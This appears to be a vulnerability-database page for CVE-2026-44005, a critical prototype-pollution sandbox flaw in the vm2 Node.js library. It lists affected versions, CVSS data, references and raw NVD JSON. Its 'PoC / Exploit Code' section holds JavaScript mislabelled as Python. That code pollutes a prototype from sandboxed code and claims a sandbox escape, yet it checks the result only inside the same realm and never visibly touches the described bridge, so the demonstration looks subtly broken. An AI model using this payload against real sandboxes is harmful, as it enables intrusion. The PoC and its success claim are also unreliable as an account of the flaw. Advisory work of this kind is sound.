CVE-2026-44005

Description

vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE

vm2 3.9.6

vm2 3.9.7

vm2 3.9.8

vm2 3.9.9

vm2 3.9.10

vm2 3.9.11

vm2 3.9.12

vm2 3.9.13

vm2 3.9.14

vm2 3.9.15

vm2 3.9.16

vm2 3.10.0

vm2 3.10.1

vm2 3.10.2

vm2 3.10.3

vm2 3.10.4

vm2 3.10.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const {VM} = require('vm2');
const vm = new VM();

// PoC Concept: Exploit prototype pollution via mutable proxies
const exploit = `
    const handler = {
        defineProperty(target, prop, descriptor) {
            // Forward the operation to the host object via the bridge
            return Reflect.defineProperty(target, prop, descriptor);
        }
    };
    
    // Target the host Object prototype
    const hostProto = Object.getPrototypeOf({});
    const proxy = new Proxy(hostProto, handler);
    
    // Attempt to pollute the host prototype
    try {
        Object.defineProperty(proxy, 'exploited', {
            value: true,
            writable: true,
            configurable: true,
            enumerable: true
        });
        
        if ({}.exploited === true) {
            console.log('Success: Host prototype polluted, sandbox escaped.');
        }
    } catch (e) {
        console.log('Exploit failed:', e.message);
    }
`;

vm.run(exploit);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44005
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44005
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44005/
[4] VulDB https://vuldb.com/cve/CVE-2026-44005
[5] https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
[6] https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44005", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:17.257", "lastModified": "2026-05-14T16:16:23.313", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "3.9.6", "versionEndExcluding": "3.11.0", "matchCriteriaId": "35F6465F-22BE-4408-92A5-4C563D2C10C7"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}